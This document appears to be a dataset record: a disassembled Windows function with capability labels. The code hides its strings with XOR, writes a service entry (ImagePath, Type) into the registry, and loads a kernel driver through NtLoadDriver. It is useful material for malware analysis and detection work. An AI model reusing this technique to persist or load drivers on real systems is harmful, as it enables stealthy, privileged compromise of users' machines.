Function at 0x14004e990
Capabilities:
Encode data using xor
Persist via windows service
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rax - 0x138]
sub rsp, 0x220
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
movaps xmmword [rax - 0x48], xmm8
movaps xmmword [rax - 0x58], xmm9
movaps xmmword [rax - 0x68], xmm10
mov rax, qword [0x1400ff040]
xor rax, rsp
mov qword [rbp + 0xc0], rax
mov rdi, rcx
xor ebx, ebx
lea rcx, [rbp + 0x30]
call fcn.140047a00
nop
movabs rsi, 0x7ffffffffffffffe
mov rax, rsi
mov rcx, qword [rbp + 0x40]
sub rax, rcx
cmp rax, 0x22
jb 0x14004f777
lea rax, [rbp + 0x30]
cmp qword [rbp + 0x48], 7
cmova rax, qword [rbp + 0x30]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x22
lea r9, str.SYSTEMCurrentControlSetServices_
lea rcx, [rbp + 0x90]
call fcn.14004cf60
nop
mov rcx, qword [rdi + 0x10]
mov rax, rsi
sub rax, rcx
cmp rax, 4
jb 0x14004f77d
cmp qword [rdi + 0x18], 7
jbe 0x14004ea55
mov rdi, qword [rdi]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], 4
lea r9, [0x1400e3f98]
lea rcx, [rbp + 0x50]
call fcn.14004cf60
nop
lea rdx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 7
cmova rdx, qword [rbp + 0x90]
lea r8, [rbp + 0x20]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
je 0x14004ec58
movups xmm0, xmmword [0x1400e40f8]
movups xmmword [rsp + 0x50], xmm0
movsd xmm0, qword [0x1400e4108]
movsd qword [rsp + 0x60], xmm0
mov eax, dword [0x1400e4110]
mov dword [rsp + 0x68], eax
movzx eax, byte [0x1400e4114]
mov byte [rsp + 0x6c], al
cmp dword [0x1400ff090], 2
jl 0x14004ec0a
movdqa xmm4, xmmword [0x1400e96c0]
movdqa xmm3, xmmword [0x1400e9f70]
movdqa xmm5, xmmword [0x1400e9700]
movdqa xmm0, xmmword [0x1400e97f0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rsp + 0x40]
movdqa xmm6, xmmword [0x1400e9760]
nop dword [rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rbx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add ebx, 8
lea rcx, [rcx + 8]
cmp ebx, 0x18
jl 0x14004eb20
cmp ebx, 0x1d
jge 0x14004ec4e
movsxd rax, ebx
lea r8, [rsp + 0x50]
add r8, rax
nop word [rax + rax]
mov eax, 0x92492493
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x38
movzx eax, bl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x1d
jl 0x14004ec20
lea rdx, [rsp + 0x50]
jmp 0x14004ee43
mov eax, dword [rbp + 0x60]
add eax, eax
lea rcx, [rbp + 0x50]
cmp qword [rbp + 0x68], 7
cmova rcx, qword [rbp + 0x50]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 2
lea r8, str.ImagePath
xor edx, edx
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov rcx, qword [rbp + 0x20]
test eax, eax
je 0x14004eec6
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movups xmm0, xmmword [0x1400e4118]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400e4128]
movups xmmword [rsp + 0x60], xmm1
movsd xmm0, qword [0x1400e4138]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x1400e4140]
mov dword [rsp + 0x78], eax
cmp dword [0x1400ff090], 2
jl 0x14004edfd
movdqa xmm4, xmmword [0x1400e96c0]
movdqa xmm3, xmmword [0x1400e9f70]
movdqa xmm5, xmmword [0x1400e9700]
movdqa xmm0, xmmword [0x1400e97f0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rsp + 0x40]
movdqa xmm6, xmmword [0x1400e9760]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rbx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add ebx, 8
lea rcx, [rcx + 8]
cmp ebx, 0x28
jl 0x14004ed13
cmp ebx, 0x2c
jge 0x14004ee3e
movsxd rax, ebx
lea r8, [rsp + 0x50]
add r8, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x38
movzx eax, bl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x2c
jl 0x14004ee10
lea rdx, [rsp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14004c7f0
lea rdx, [0x14004ca60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xor dil, dil
lea rcx, [rbp + 0x50]
call fcn.140045850
nop
lea rcx, [rbp + 0x90]
call fcn.140045850
nop
lea rcx, [rbp + 0x30]
call fcn.140045850
movzx eax, dil
mov rcx, qword [rbp + 0xc0]
xor rcx, rsp
call fcn.1400c92b0
lea r11, [rsp + 0x220]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
mov dword [rsp + 0x28], 4
lea rax, [0x1400e4320]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, str.Type
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov rcx, qword [rbp + 0x20]
test eax, eax
je 0x14004f0b8
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movups xmm0, xmmword [0x1400e40d0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400e40e0]
movups xmmword [rsp + 0x60], xmm1
mov eax, dword [0x1400e40f0]
mov dword [rsp + 0x70], eax
movzx eax, word [0x1400e40f4]
mov word [rsp + 0x74], ax
movzx eax, byte [0x1400e40f6]
mov byte [rsp + 0x76], al
cmp dword [0x1400ff090], 2
jl 0x14004f06a
movdqa xmm4, xmmword [0x1400e96c0]
movdqa xmm3, xmmword [0x1400e9f70]
movdqa xmm5, xmmword [0x1400e9700]
movdqa xmm0, xmmword [0x1400e97f0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rsp + 0x40]
movdqa xmm6, xmmword [0x1400e9760]
nop
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rbx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add ebx, 8
lea rcx, [rcx + 8]
cmp ebx, 0x20
jl 0x14004ef80
cmp ebx, 0x27
jge 0x14004f0ae
movsxd rax, ebx
lea r8, [rsp + 0x50]
add r8, rax
nop word [rax + rax]
mov eax, 0x92492493
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x38
movzx eax, bl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x27
jl 0x14004f080
lea rdx, [rsp + 0x50]
jmp 0x14004ee43
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [0x1400e3ae8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r14, rax
test rax, rax
je 0x14004ee5f
lea rdx, [0x1400e4030]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea rdx, str.NtLoadDriver
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
lea r9, [rbp + 0x28]
xor r8d, r8d
mov dl, 1
mov ecx, 0xa
call rdi
test eax, eax
jns 0x14004f2e7
movups xmm0, xmmword [str.vPFRX]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400e4160]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400e4170]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400e4180]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400e4190]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400e41a0]
movups xmmword [rbp - 0x30], xmm1
mov eax, dword [0x1400e41b0]
mov dword [rbp - 0x20], eax
movzx eax, byte [0x1400e41b4]
mov byte [rbp - 0x1c], al
cmp dword [0x1400ff090], 2
jl 0x14004f29a
movdqa xmm4, xmmword [0x1400e96c0]
movdqa xmm3, xmmword [0x1400e9f70]
movdqa xmm5, xmmword [0x1400e9700]
movdqa xmm0, xmmword [0x1400e97f0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x40]
movdqa xmm6, xmmword [0x1400e9760]
nop dword [rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rbx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add ebx, 8
lea rcx, [rcx + 8]
cmp ebx, 0x60
jl 0x14004f1b0
cmp ebx, 0x65
jge 0x14004f2de
movsxd rax, ebx
lea r8, [rbp - 0x80]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x38
movzx eax, bl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x65
jl 0x14004f2b0
lea rdx, [rbp - 0x80]
jmp 0x14004ee43
mov rcx, qword [rbp + 0x40]
sub rsi, rcx
cmp rsi, 0x34
jb 0x14004f771
lea rax, [rbp + 0x30]
cmp qword [rbp + 0x48], 7
cmova rax, qword [rbp + 0x30]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x34
lea r9, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0x70]
call fcn.14004cf60
nop
lea rdx, [rbp + 0x70]
cmp qword [rbp + 0x88], 7
cmova rdx, qword [rbp + 0x70]
lea rcx, [rbp + 0xb0]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rcx, [rbp + 0xb0]
call r14
mov edi, eax
cmp eax, 0xc0000603
jne 0x14004f764
movups xmm0, xmmword [str.kSCDPDj]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400e4290]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400e42a0]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400e42b0]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400e42c0]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400e42d0]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x1400e42e0]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400e42f0]
movups xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [str.52c___v89_9l:_8q__0:w_3_9_]
movups xmmword [rbp], xmm0
movsd xmm0, qword [0x1400e4310]
movsd qword [rbp + 0x10], xmm0
mov eax, dword [0x1400e4318]
mov dword [rbp + 0x18], eax
movzx eax, word [0x1400e431c]
mov word [rbp + 0x1c], ax
movzx eax, byte [0x1400e431e]
mov byte [rbp + 0x1e], al
mov ecx, ebx
movdqa xmm8, xmmword [0x1400e9760]
movdqa xmm7, xmmword [0x1400e97f0]
movdqa xmm9, xmmword [0x1400e9700]
movdqa xmm6, xmmword [0x1400e9f70]
movdqa xmm10, xmmword [0x1400e96c0]
mov esi, dword [0x1400ff090]
cmp esi, 2
jl 0x14004f538
movdqa xmmword [rsp + 0x40], xmm7
lea rdx, [rbp - 0x7c]
mov r8d, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x98
jl 0x14004f440
cmp ecx, 0x9f
jge 0x14004f573
movsxd rax, ecx
lea r8, [rbp - 0x80]
add r8, rax
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x38
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x9f
jl 0x14004f542
lea rdx, [rbp - 0x80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14004c7f0
lea rdx, [0x14004ca60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
movups xmm0, xmmword [0x1400e4200]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400e4210]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400e4220]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400e4230]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400e4240]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400e4250]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x1400e4260]
movups xmmword [rbp - 0x20], xmm0
movsd xmm0, qword [0x1400e4270]
movsd qword [rbp - 0x10], xmm0
cmp esi, 2
jl 0x14004f6fd
movdqa xmmword [rsp + 0x40], xmm7
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rbx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add ebx, 8
lea rcx, [rcx + 8]
cmp ebx, 0x78
jl 0x14004f610
jmp 0x14004f72f
lea r8, [rbp - 0x80]
mov eax, 0x92492493
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x38
movzx eax, bl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x78
jl 0x14004f701
lea rdx, [rbp - 0x80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14004c7f0
lea rdx, [0x14004ca60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
shr edi, 0x1f
xor dil, 1
lea rcx, [rbp + 0x70]
call fcn.140045850
jmp 0x14004ee62
cmp edi, 0xc000010e
jne 0x14004f74f
mov dil, 1
jmp 0x14004f756
call fcn.140003270
nop
call fcn.140003270
nop
call fcn.140003270
int3